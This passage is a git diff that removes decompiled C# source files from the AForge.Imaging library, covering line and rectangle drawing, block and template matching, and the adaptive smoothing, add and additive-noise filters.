UnmanagedImage(imageData), rectangle, color); - } - - public static void Rectangle(UnmanagedImage image, Rectangle rectangle, Color color) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000c: Unknown result type (might be due to invalid IL or missing references) - CheckPixelFormat(image.PixelFormat); - _ = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width = image.Width; - int height = image.Height; - _ = image.Stride; - int x = rectangle.X; - int y = rectangle.Y; - int num = rectangle.X + rectangle.Width - 1; - int num2 = rectangle.Y + rectangle.Height - 1; - if (x < width && y < height && num >= 0 && num2 >= 0) - { - Line(image, new IntPoint(x, y), new IntPoint(num, y), color); - Line(image, new IntPoint(num, num2), new IntPoint(x, num2), color); - Line(image, new IntPoint(num, y + 1), new IntPoint(num, num2 - 1), color); - Line(image, new IntPoint(x, num2 - 1), new IntPoint(x, y + 1), color); - } - } - - public static void Line(BitmapData imageData, IntPoint point1, IntPoint point2, Color color) - { - Line(new UnmanagedImage(imageData), point1, point2, color); - } - - public unsafe static void Line(UnmanagedImage image, IntPoint point1, IntPoint point2, Color color) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000c: Unknown result type (might be due to invalid IL or missing references) - //IL_010c: Unknown result type (might be due to invalid IL or missing references) - //IL_0116: Invalid comparison between Unknown and I4 - //IL_045d: Unknown result type (might be due to invalid IL or missing references) - //IL_0467: Invalid comparison between Unknown and I4 - //IL_0226: Unknown result type (might be due to invalid IL or missing references) - //IL_0230: Invalid comparison between Unknown and I4 - //IL_04b0: Unknown result type (might be due to invalid IL or missing references) - //IL_04ba: Invalid comparison between Unknown and I4 - //IL_0279: Unknown result type (might be due to invalid IL or missing references) - //IL_0283: Invalid comparison between Unknown and I4 - CheckPixelFormat(image.PixelFormat); - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - if ((point1.X < 0 && point2.X < 0) || (point1.Y < 0 && point2.Y < 0) || (point1.X >= width && point2.X >= width) || (point1.Y >= height && point2.Y >= height)) - { - return; - } - CheckEndPoint(width, height, point1, ref point2); - CheckEndPoint(width, height, point2, ref point1); - if ((point1.X < 0 && point2.X < 0) || (point1.Y < 0 && point2.Y < 0) || (point1.X >= width && point2.X >= width) || (point1.Y >= height && point2.Y >= height)) - { - return; - } - int x = point1.X; - int y = point1.Y; - int x2 = point2.X; - int y2 = point2.Y; - byte b = 0; - if ((int)image.PixelFormat == 198659) - { - b = (byte)(0.2125 * (double)(int)color.R + 0.7154 * (double)(int)color.G + 0.0721 * (double)(int)color.B); - } - double num2 = (double)(int)color.A / 255.0; - double num3 = 1.0 - num2; - double num4 = num2 * (double)(int)color.R; - double num5 = num2 * (double)(int)color.G; - double num6 = num2 * (double)(int)color.B; - int num7 = 255 - color.A; - int num8 = color.A * color.R; - int num9 = color.A * color.G; - int num10 = color.A * color.B; - int num11 = x2 - x; - int num12 = y2 - y; - if (System.Math.Abs(num11) >= System.Math.Abs(num12)) - { - float num13 = ((num11 != 0) ? ((float)num12 / (float)num11) : 0f); - int num14 = ((num11 > 0) ? 1 : (-1)); - num11 += num14; - if ((int)image.PixelFormat == 198659) - { - for (int i = 0; i != num11; i += num14) - { - int num15 = x + i; - int num16 = (int)((float)y + num13 * (float)i); - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)num16 * (nint)stride + num15; - *ptr = b; - } - } - else if ((int)image.PixelFormat == 2498570) - { - for (int j = 0; j != num11; j += num14) - { - int num17 = x + j; - int num18 = (int)((float)y + num13 * (float)j); - byte* ptr2 = (byte*)image.ImageData.ToPointer() + (nint)num18 * (nint)stride + (nint)num17 * (nint)4; - double num19 = (double)(int)ptr2[3] / 255.0 * num3; - ptr2[2] = (byte)(num4 + num19 * (double)(int)ptr2[2]); - ptr2[1] = (byte)(num5 + num19 * (double)(int)ptr2[1]); - *ptr2 = (byte)(num6 + num19 * (double)(int)(*ptr2)); - ptr2[3] = (byte)(255.0 * (num2 + num19)); - } - } - else if (color.A == byte.MaxValue) - { - for (int k = 0; k != num11; k += num14) - { - int num20 = x + k; - int num21 = (int)((float)y + num13 * (float)k); - byte* ptr3 = (byte*)image.ImageData.ToPointer() + (nint)num21 * (nint)stride + (nint)num20 * (nint)num; - ptr3[2] = color.R; - ptr3[1] = color.G; - *ptr3 = color.B; - } - } - else - { - for (int l = 0; l != num11; l += num14) - { - int num22 = x + l; - int num23 = (int)((float)y + num13 * (float)l); - byte* ptr4 = (byte*)image.ImageData.ToPointer() + (nint)num23 * (nint)stride + (nint)num22 * (nint)num; - ptr4[2] = (byte)((num8 + num7 * ptr4[2]) / 255); - ptr4[1] = (byte)((num9 + num7 * ptr4[1]) / 255); - *ptr4 = (byte)((num10 + num7 * *ptr4) / 255); - } - } - return; - } - float num24 = ((num12 != 0) ? ((float)num11 / (float)num12) : 0f); - int num25 = ((num12 > 0) ? 1 : (-1)); - num12 += num25; - if ((int)image.PixelFormat == 198659) - { - for (int m = 0; m != num12; m += num25) - { - int num26 = (int)((float)x + num24 * (float)m); - int num27 = y + m; - byte* ptr5 = (byte*)image.ImageData.ToPointer() + (nint)num27 * (nint)stride + num26; - *ptr5 = b; - } - } - else if ((int)image.PixelFormat == 2498570) - { - for (int n = 0; n != num12; n += num25) - { - int num28 = (int)((float)x + num24 * (float)n); - int num29 = y + n; - byte* ptr6 = (byte*)image.ImageData.ToPointer() + (nint)num29 * (nint)stride + (nint)num28 * (nint)4; - double num30 = (double)(int)ptr6[3] / 255.0 * num3; - ptr6[2] = (byte)(num4 + num30 * (double)(int)ptr6[2]); - ptr6[1] = (byte)(num5 + num30 * (double)(int)ptr6[1]); - *ptr6 = (byte)(num6 + num30 * (double)(int)(*ptr6)); - ptr6[3] = (byte)(255.0 * (num2 + num30)); - } - } - else if (color.A == byte.MaxValue) - { - for (int num31 = 0; num31 != num12; num31 += num25) - { - int num32 = (int)((float)x + num24 * (float)num31); - int num33 = y + num31; - byte* ptr7 = (byte*)image.ImageData.ToPointer() + (nint)num33 * (nint)stride + (nint)num32 * (nint)num; - ptr7[2] = color.R; - ptr7[1] = color.G; - *ptr7 = color.B; - } - } - else - { - for (int num34 = 0; num34 != num12; num34 += num25) - { - int num35 = (int)((float)x + num24 * (float)num34); - int num36 = y + num34; - byte* ptr8 = (byte*)image.ImageData.ToPointer() + (nint)num36 * (nint)stride + (nint)num35 * (nint)num; - ptr8[2] = (byte)((num8 + num7 * ptr8[2]) / 255); - ptr8[1] = (byte)((num9 + num7 * ptr8[1]) / 255); - *ptr8 = (byte)((num10 + num7 * *ptr8) / 255); - } - } - } - - public static void Polygon(BitmapData imageData, List points, Color color) - { - Polygon(new UnmanagedImage(imageData), points, color); - } - - public static void Polygon(UnmanagedImage image, List points, Color color) - { - int i = 1; - for (int count = points.Count; i < count; i++) - { - Line(image, points[i - 1], points[i], color); - } - Line(image, points[points.Count - 1], points[0], color); - } - - public static void Polyline(BitmapData imageData, List points, Color color) - { - Polyline(new UnmanagedImage(imageData), points, color); - } - - public static void Polyline(UnmanagedImage image, List points, Color color) - { - int i = 1; - for (int count = points.Count; i < count; i++) - { - Line(image, points[i - 1], points[i], color); - } - } - - private static void CheckPixelFormat(PixelFormat format) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Invalid comparison between Unknown and I4 - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - //IL_0016: Invalid comparison between Unknown and I4 - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - if ((int)format != 137224 && (int)format != 198659 && (int)format != 2498570 && (int)format != 139273) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - } - - private static void CheckEndPoint(int width, int height, IntPoint start, ref IntPoint end) - { - if (end.X >= width) - { - int num = width - 1; - double num2 = (double)(num - start.X) / (double)(end.X - start.X); - end.Y = (int)((double)start.Y + num2 * (double)(end.Y - start.Y)); - end.X = num; - } - if (end.Y >= height) - { - int num3 = height - 1; - double num4 = (double)(num3 - start.Y) / (double)(end.Y - start.Y); - end.X = (int)((double)start.X + num4 * (double)(end.X - start.X)); - end.Y = num3; - } - if (end.X < 0) - { - double num5 = (double)(-start.X) / (double)(end.X - start.X); - end.Y = (int)((double)start.Y + num5 * (double)(end.Y - start.Y)); - end.X = 0; - } - if (end.Y < 0) - { - double num6 = (double)(-start.Y) / (double)(end.Y - start.Y); - end.X = (int)((double)start.X + num6 * (double)(end.X - start.X)); - end.Y = 0; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ExceptionMessage.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ExceptionMessage.cs deleted file mode 100644 index 1116eaa..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ExceptionMessage.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace AForge.Imaging; - -internal static class ExceptionMessage -{ - public const string ColorHistogramException = "Cannot access color histogram since the last processed image was grayscale."; - - public const string GrayHistogramException = "Cannot access gray histogram since the last processed image was color."; -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ExhaustiveBlockMatching.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ExhaustiveBlockMatching.cs deleted file mode 100644 index 959e185..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ExhaustiveBlockMatching.cs +++ /dev/null @@ -1,198 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class ExhaustiveBlockMatching : IBlockMatching -{ - private class MatchingsSorter : IComparer - { - public int Compare(BlockMatch x, BlockMatch y) - { - float num = y.Similarity - x.Similarity; - if (!(num > 0f)) - { - if (!(num < 0f)) - { - return 0; - } - return -1; - } - return 1; - } - } - - private int blockSize = 16; - - private int searchRadius = 12; - - private float similarityThreshold = 0.9f; - - public int SearchRadius - { - get - { - return searchRadius; - } - set - { - searchRadius = value; - } - } - - public int BlockSize - { - get - { - return blockSize; - } - set - { - blockSize = value; - } - } - - public float SimilarityThreshold - { - get - { - return similarityThreshold; - } - set - { - similarityThreshold = System.Math.Min(1f, System.Math.Max(0f, value)); - } - } - - public ExhaustiveBlockMatching() - { - } - - public ExhaustiveBlockMatching(int blockSize, int searchRadius) - { - this.blockSize = blockSize; - this.searchRadius = searchRadius; - } - - public List ProcessImage(Bitmap sourceImage, List coordinates, Bitmap searchImage) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = sourceImage.LockBits(new Rectangle(0, 0, ((Image)sourceImage).Width, ((Image)sourceImage).Height), (ImageLockMode)1, ((Image)sourceImage).PixelFormat); - BitmapData val2 = searchImage.LockBits(new Rectangle(0, 0, ((Image)searchImage).Width, ((Image)searchImage).Height), (ImageLockMode)1, ((Image)searchImage).PixelFormat); - try - { - return ProcessImage(new UnmanagedImage(val), coordinates, new UnmanagedImage(val2)); - } - finally - { - sourceImage.UnlockBits(val); - searchImage.UnlockBits(val2); - } - } - - public List ProcessImage(BitmapData sourceImageData, List coordinates, BitmapData searchImageData) - { - return ProcessImage(new UnmanagedImage(sourceImageData), coordinates, new UnmanagedImage(searchImageData)); - } - - public unsafe List ProcessImage(UnmanagedImage sourceImage, List coordinates, UnmanagedImage searchImage) - { - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_004d: Unknown result type (might be due to invalid IL or missing references) - //IL_0053: Unknown result type (might be due to invalid IL or missing references) - //IL_0035: Unknown result type (might be due to invalid IL or missing references) - //IL_003f: Invalid comparison between Unknown and I4 - //IL_0089: Unknown result type (might be due to invalid IL or missing references) - //IL_0093: Invalid comparison between Unknown and I4 - if (sourceImage.Width != searchImage.Width || sourceImage.Height != searchImage.Height) - { - throw new InvalidImagePropertiesException("Source and search images sizes must match"); - } - if ((int)sourceImage.PixelFormat != 198659 && (int)sourceImage.PixelFormat != 137224) - { - throw new UnsupportedImageFormatException("Source images can be graysclae (8 bpp indexed) or color (24 bpp) image only"); - } - if (sourceImage.PixelFormat != searchImage.PixelFormat) - { - throw new InvalidImagePropertiesException("Source and search images must have same pixel format"); - } - int count = coordinates.Count; - List list = new List(); - int width = sourceImage.Width; - int height = sourceImage.Height; - int stride = sourceImage.Stride; - int num = (((int)sourceImage.PixelFormat == 198659) ? 1 : 3); - int num2 = blockSize / 2; - int num3 = 2 * searchRadius; - int num4 = blockSize * num; - int num5 = stride - blockSize * num; - int num6 = blockSize * blockSize * num * 255; - int num7 = (int)(similarityThreshold * (float)num6); - byte* ptr = (byte*)sourceImage.ImageData.ToPointer(); - byte* ptr2 = (byte*)searchImage.ImageData.ToPointer(); - for (int i = 0; i < count; i++) - { - int x = coordinates[i].X; - int y = coordinates[i].Y; - if (x - num2 < 0 || x + num2 >= width || y - num2 < 0 || y + num2 >= height) - { - continue; - } - int num8 = x - num2 - searchRadius; - int num9 = y - num2 - searchRadius; - int x2 = x; - int y2 = y; - int num10 = int.MaxValue; - for (int j = 0; j < num3; j++) - { - if (num9 + j < 0 || num9 + j + blockSize >= height) - { - continue; - } - for (int k = 0; k < num3; k++) - { - int num11 = num8 + k; - int num12 = num9 + j; - if (num11 < 0 || num12 + blockSize >= width) - { - continue; - } - byte* ptr3 = ptr + (nint)(y - num2) * (nint)stride + (nint)(x - num2) * (nint)num; - byte* ptr4 = ptr2 + (nint)num12 * (nint)stride + (nint)num11 * (nint)num; - int num13 = 0; - for (int l = 0; l < blockSize; l++) - { - int num14 = 0; - while (num14 < num4) - { - int num15 = *ptr3 - *ptr4; - num13 = ((num15 <= 0) ? (num13 - num15) : (num13 + num15)); - num14++; - ptr3++; - ptr4++; - } - ptr3 += num5; - ptr4 += num5; - } - if (num13 < num10) - { - num10 = num13; - x2 = num11 + num2; - y2 = num12 + num2; - } - } - } - int num16 = num6 - num10; - if (num16 >= num7) - { - list.Add(new BlockMatch(new IntPoint(x, y), new IntPoint(x2, y2), (float)num16 / (float)num6)); - } - } - list.Sort(new MatchingsSorter()); - return list; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ExhaustiveTemplateMatching.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ExhaustiveTemplateMatching.cs deleted file mode 100644 index 2667392..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ExhaustiveTemplateMatching.cs +++ /dev/null @@ -1,200 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class ExhaustiveTemplateMatching : ITemplateMatching -{ - private class MatchingsSorter : IComparer - { - public int Compare(object x, object y) - { - float num = ((TemplateMatch)y).Similarity - ((TemplateMatch)x).Similarity; - if (!(num > 0f)) - { - if (!(num < 0f)) - { - return 0; - } - return -1; - } - return 1; - } - } - - private float similarityThreshold = 0.9f; - - public float SimilarityThreshold - { - get - { - return similarityThreshold; - } - set - { - similarityThreshold = System.Math.Min(1f, System.Math.Max(0f, value)); - } - } - - public ExhaustiveTemplateMatching() - { - } - - public ExhaustiveTemplateMatching(float similarityThreshold) - { - this.similarityThreshold = similarityThreshold; - } - - public TemplateMatch[] ProcessImage(Bitmap image, Bitmap template) - { - return ProcessImage(image, template, new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height)); - } - - public TemplateMatch[] ProcessImage(Bitmap image, Bitmap template, Rectangle searchZone) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_0070: Unknown result type (might be due to invalid IL or missing references) - //IL_0091: Unknown result type (might be due to invalid IL or missing references) - if (((int)((Image)image).PixelFormat != 198659 && (int)((Image)image).PixelFormat != 137224) || ((Image)image).PixelFormat != ((Image)template).PixelFormat) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source or template image."); - } - if (((Image)template).Width > ((Image)image).Width || ((Image)template).Height > ((Image)image).Height) - { - throw new InvalidImagePropertiesException("Template's size should be smaller or equal to source image's size."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - BitmapData val2 = template.LockBits(new Rectangle(0, 0, ((Image)template).Width, ((Image)template).Height), (ImageLockMode)1, ((Image)template).PixelFormat); - try - { - return ProcessImage(new UnmanagedImage(val), new UnmanagedImage(val2), searchZone); - } - finally - { - image.UnlockBits(val); - template.UnlockBits(val2); - } - } - - public TemplateMatch[] ProcessImage(BitmapData imageData, BitmapData templateData) - { - return ProcessImage(new UnmanagedImage(imageData), new UnmanagedImage(templateData), new Rectangle(0, 0, imageData.Width, imageData.Height)); - } - - public TemplateMatch[] ProcessImage(BitmapData imageData, BitmapData templateData, Rectangle searchZone) - { - return ProcessImage(new UnmanagedImage(imageData), new UnmanagedImage(templateData), searchZone); - } - - public TemplateMatch[] ProcessImage(UnmanagedImage image, UnmanagedImage template) - { - return ProcessImage(image, template, new Rectangle(0, 0, image.Width, image.Height)); - } - - public unsafe TemplateMatch[] ProcessImage(UnmanagedImage image, UnmanagedImage template, Rectangle searchZone) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_0097: Unknown result type (might be due to invalid IL or missing references) - //IL_00a1: Invalid comparison between Unknown and I4 - if (((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 137224) || image.PixelFormat != template.PixelFormat) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source or template image."); - } - Rectangle rectangle = searchZone; - rectangle.Intersect(new Rectangle(0, 0, image.Width, image.Height)); - int x = rectangle.X; - int y = rectangle.Y; - int width = rectangle.Width; - int height = rectangle.Height; - int width2 = template.Width; - int height2 = template.Height; - if (width2 > width || height2 > height) - { - throw new InvalidImagePropertiesException("Template's size should be smaller or equal to search zone."); - } - int num = (((int)image.PixelFormat == 198659) ? 1 : 3); - int stride = image.Stride; - int num2 = width - width2 + 1; - int num3 = height - height2 + 1; - int[,] array = new int[num3 + 4, num2 + 4]; - int num4 = width2 * height2 * num * 255; - int num5 = (int)(similarityThreshold * (float)num4); - int num6 = width2 * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)template.ImageData.ToPointer(); - int num7 = image.Stride - width2 * num; - int num8 = template.Stride - width2 * num; - for (int i = 0; i < num3; i++) - { - for (int j = 0; j < num2; j++) - { - byte* ptr3 = ptr + (nint)stride * (nint)(i + y) + (nint)num * (nint)(j + x); - byte* ptr4 = ptr2; - int num9 = 0; - for (int k = 0; k < height2; k++) - { - int num10 = 0; - while (num10 < num6) - { - int num11 = *ptr3 - *ptr4; - num9 = ((num11 <= 0) ? (num9 - num11) : (num9 + num11)); - num10++; - ptr3++; - ptr4++; - } - ptr3 += num7; - ptr4 += num8; - } - int num12 = num4 - num9; - if (num12 >= num5) - { - array[i + 2, j + 2] = num12; - } - } - } - List list = new List(); - int l = 2; - for (int num13 = num3 + 2; l < num13; l++) - { - int m = 2; - for (int num14 = num2 + 2; m < num14; m++) - { - int num15 = array[l, m]; - int num16 = -2; - while (num15 != 0 && num16 <= 2) - { - for (int n = -2; n <= 2; n++) - { - if (array[l + num16, m + n] > num15) - { - num15 = 0; - break; - } - } - num16++; - } - if (num15 != 0) - { - list.Add(new TemplateMatch(new Rectangle(m - 2 + x, l - 2 + y, width2, height2), (float)num15 / (float)num4)); - } - } - } - TemplateMatch[] array2 = new TemplateMatch[list.Count]; - list.CopyTo(array2); - Array.Sort(array2, new MatchingsSorter()); - return array2; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/AdaptiveSmoothing.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/AdaptiveSmoothing.cs deleted file mode 100644 index 4391285..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/AdaptiveSmoothing.cs +++ /dev/null @@ -1,128 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class AdaptiveSmoothing : BaseUsingCopyPartialFilter -{ - private double factor = 3.0; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public double Factor - { - get - { - return factor; - } - set - { - factor = value; - } - } - - public AdaptiveSmoothing() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public AdaptiveSmoothing(double factor) - : this() - { - this.factor = factor; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int num2 = num * 2; - int left = rect.Left; - int top = rect.Top; - int num3 = left + rect.Width; - int num4 = top + rect.Height; - int num5 = left + 2; - int num6 = top + 2; - int num7 = num3 - 2; - int num8 = num4 - 2; - int stride = source.Stride; - int stride2 = destination.Stride; - int num9 = stride - rect.Width * num; - int num10 = stride2 - rect.Width * num; - double num11 = -8.0 * factor * factor; - byte* ptr = (byte*)source.ImageData.ToPointer() + (nint)stride * (nint)2; - byte* ptr2 = (byte*)destination.ImageData.ToPointer() + (nint)stride2 * (nint)2; - ptr += top * stride + left * num; - ptr2 += top * stride2 + left * num; - for (int i = num6; i < num8; i++) - { - ptr += num2; - ptr2 += num2; - for (int j = num5; j < num7; j++) - { - int num12 = 0; - while (num12 < num) - { - double num13 = 0.0; - double num14 = 0.0; - double num15 = ptr[-stride] - ptr[-num2 - stride]; - double num16 = ptr[-num] - ptr[-num - 2 * stride]; - double num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[-num - stride]; - num13 += num17; - num15 = ptr[num - stride] - ptr[-num - stride]; - num16 = *ptr - ptr[(nint)(-2) * (nint)stride]; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[-stride]; - num13 += num17; - num15 = ptr[num2 - stride] - ptr[-stride]; - num16 = ptr[num] - ptr[num - 2 * stride]; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[num - stride]; - num13 += num17; - num15 = *ptr - ptr[-num2]; - num16 = ptr[-num + stride] - ptr[-num - stride]; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[-num]; - num13 += num17; - num15 = ptr[num] - ptr[-num]; - num16 = ptr[stride] - ptr[-stride]; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)(*ptr); - num13 += num17; - num15 = ptr[num2] - *ptr; - num16 = ptr[num + stride] - ptr[num - stride]; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[num]; - num13 += num17; - num15 = ptr[stride] - ptr[-num2 + stride]; - num16 = ptr[-num + 2 * stride] - ptr[-num]; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[-num + stride]; - num13 += num17; - num15 = ptr[num + stride] - ptr[-num + stride]; - num16 = ptr[(nint)2 * (nint)stride] - *ptr; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[stride]; - num13 += num17; - num15 = ptr[num2 + stride] - ptr[stride]; - num16 = ptr[num + 2 * stride] - ptr[num]; - num17 = System.Math.Exp((num15 * num15 + num16 * num16) / num11); - num14 += num17 * (double)(int)ptr[num + stride]; - num13 += num17; - *ptr2 = ((num13 == 0.0) ? (*ptr) : ((byte)System.Math.Min(num14 / num13, 255.0))); - num12++; - ptr++; - ptr2++; - } - } - ptr += num9 + num2; - ptr2 += num10 + num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Add.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Add.cs deleted file mode 100644 index a11dac0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Add.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class Add : BaseInPlaceFilter2 -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Add() - { - InitFormatTranslations(); - } - - public Add(Bitmap overlayImage) - : base(overlayImage) - { - InitFormatTranslations(); - } - - public Add(UnmanagedImage unmanagedOverlayImage) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - } - - private void InitFormatTranslations() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Invalid comparison between Unknown and I4 - //IL_0038: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002d: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_00ea: Unknown result type (might be due to invalid IL or missing references) - //IL_00f0: Invalid comparison between Unknown and I4 - //IL_00f2: Unknown result type (might be due to invalid IL or missing references) - //IL_00f8: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - int num = (((int)pixelFormat == 198659) ? 1 : (((int)pixelFormat == 137224) ? 3 : 4)); - int num2 = width * num; - int num3 = image.Stride - num2; - int num4 = overlay.Stride - num2; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < num2) - { - int num6 = *ptr + *ptr2; - *ptr = ((num6 > 255) ? byte.MaxValue : ((byte)num6)); - num5++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - return; - } - int num7 = (((int)pixelFormat == 1052676) ? 1 : (((int)pixelFormat == 1060876) ? 3 : 4)); - int num8 = width * num7; - int stride = image.Stride; - int stride2 = overlay.Stride; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - byte* ptr4 = (byte*)overlay.ImageData.ToPointer(); - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num9 = 0; - while (num9 < num8) - { - int num10 = *ptr5 + *ptr6; - *ptr5 = ((num10 > 65535) ? ushort.MaxValue : ((ushort)num10)); - num9++; - ptr5++; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/AdditiveNoise.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/AdditiveNoise.cs deleted file mode 100644 index 4343174..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/AdditiveNoise.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math.Random; - -namespace AForge.Imaging.Filters; - -public class AdditiveNoise : BaseInPlacePartialFilter -{ - private IRandomNumberGenerator generator = new UniformGenerator(new Range(-10f, 10f)); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public IRandomNumberGenerator Generator - { - get - { - return generator; - } - set - { - generator = value; - } - } - - public AdditiveNoise() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public AdditiveNoise(IRandomNumberGenerator generator) - : this() - { - this.generator = generator; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 198659) ? 1 : 3); - int top = rect.Top; - int num2 = top + rect.Height; - int num3 = rect.Left * num; - int num4 = num3 + rect.Width * num; - int num5 = image.Stride - (num4 - num3); - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * 